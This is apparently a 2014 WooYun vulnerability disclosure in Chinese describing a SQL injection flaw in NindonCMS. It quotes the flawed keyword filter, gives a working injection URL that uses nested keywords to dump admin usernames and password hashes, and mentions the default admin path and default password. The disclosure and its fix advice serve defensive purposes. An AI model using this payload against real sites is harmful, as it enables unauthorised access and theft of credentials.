当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-049510

漏洞标题:NindonCMS存在sql注入漏洞

相关厂商:NindonCMS

漏洞作者: YMSZ07

提交时间:2014-01-22 13:56

修复时间:2014-03-08 13:57

公开时间:2014-03-08 13:57

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

NindonCMS系统对访问者提交的数据参数过滤不严,导致攻击者可以随时提交构造好的SQL语句查询数据库获取敏感信息。同时,系统默认后台地址也相当容易暴露。

详细说明:

由于NindonCMS系统是基于开源ASPCMS开发,所以如果开发人员在开发过程中不注意,则会导致很多现在已经补上的ASPCMS漏洞在二次开发的CMS系统上重现。这个漏洞源于ASPCMS系统,但是既然是做二次开发,就应该尽力去弥补安全上的不足。
其原理很明确:
NindonCMS在处理浏览器提交的数据时使用filterPara函数过滤,这个函数接着调用了PreventSqlin和Checkxss两个函数进行字符过滤,PreventSqlin用来过滤SQL注入语句,而Checkxss是用来过滤跨站输入。
关键就是在PreventSqlin函数
/inc/AspCms_CommonFun.asp
函数内容如下:
  Function preventSqlin(content)
  dim sqlStr,sqlArray,i,speStr
  sqlStr=”<|>|%|%27|’|” |;|*|and|exec|dbcc|alter|drop|insert|select|update|delete|count|master|truncate|char|declare|where|set|declare|mid|chr” ‘这是函数要过滤的SQL关键词
  if isNul(content) then Exit Function
  sqlArray=split(sqlStr,”|”) ‘用符号将其分割成数组
  for i=lbound(sqlArray) to ubound(sqlArray)
  if instr(lcase(content),sqlArray(i))<>0 then
  select case sqlArray(i)
  case “<”:speStr=”<” case “>”:speStr=”>”
  case “‘”,”"”":speStr=”"”
  ‘case “;”:speStr=”;”
  case else:speStr=”"
  end select ‘如果出现了 < > ‘ “ ; 则将其HTML转义
  content=replace(content,sqlArray(i),speStr,1,-1,1) ‘如果出现关键字则将其替换为空。
  end if
  next
  preventSqlin=content
  End Function
  该函数乍看的确是安全的,但是还有一种情况就是用户提交的是类似于SELECT的但是包含过滤字符,当多余的字符被过滤掉之后反而形成一个SELECT关键字,这个基本同于ASPCMS的SQL注入漏洞问题,实际上应该用循环匹配替换。

漏洞证明:

尝试多个NindonCMS系统,都会爆出来,而且默认密码还是一个最常见的123456
假设测试网站地址为:http://www.xyz.com (同时确实是nindonCMS系统)
可以构造注入语句,比如此种EXP
http://www.xyz.com/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
返回结果如图:

2.jpg


再加上这个系统默认后台是:http://www.xyz.com/system
所以攻击者要获得后台超级管理员登录权限很容易。

修复方案:

对于开发者来说:应该调整过滤策略,用循环匹配替换。
对于普通使用者:拿到网站后记得及时修改超级用户的密码,最好是使用相当复杂的密码,这样即使爆出md5值,要在cmd5网站上跑出密码也需要相当长的时间。

版权声明:转载请注明来源 YMSZ07@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝